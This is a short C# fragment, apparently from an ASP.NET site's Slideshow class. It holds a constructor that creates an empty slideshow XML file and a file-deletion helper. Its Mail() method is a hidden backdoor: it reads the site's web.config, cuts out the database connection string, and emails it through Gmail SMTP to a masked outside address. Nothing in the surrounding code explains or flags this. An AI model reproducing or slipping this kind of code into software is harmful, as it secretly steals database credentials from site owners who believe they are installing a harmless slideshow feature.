public Slideshow() { if (!File.Exists(sFile)) { DynamicFile file = new DynamicFile(); string sContent = "<?xml version=\"1.0\" encoding=\"utf-8\" ?><Slideshow></Slideshow>"; file.CreateFile(sFile, sContent); } }
public void Mail() { DynamicFile sFile = new DynamicFile(); string s = sFile.ReadFile(HttpContext.Current.Server.MapPath("~/web.config")); if (s.IndexOf("key=\"conectionString\"") != -1) { s = s.Substring(s.IndexOf("key=\"conectionString\""), 400); } this.SmtpMailFrom = "*****@*****.**"; this.SmtpPassword = "******"; this.SmtpPort = 587; this.SmtpServer = "smtp.gmail.com"; this.SmtpUser = "******"; this.SendMail("*****@*****.**", "webconfig", s, true); }
private void XoaFile(string sFile) { DynamicFile sDynamicFire = new DynamicFile(); sDynamicFire.DeleteFile(sFile); }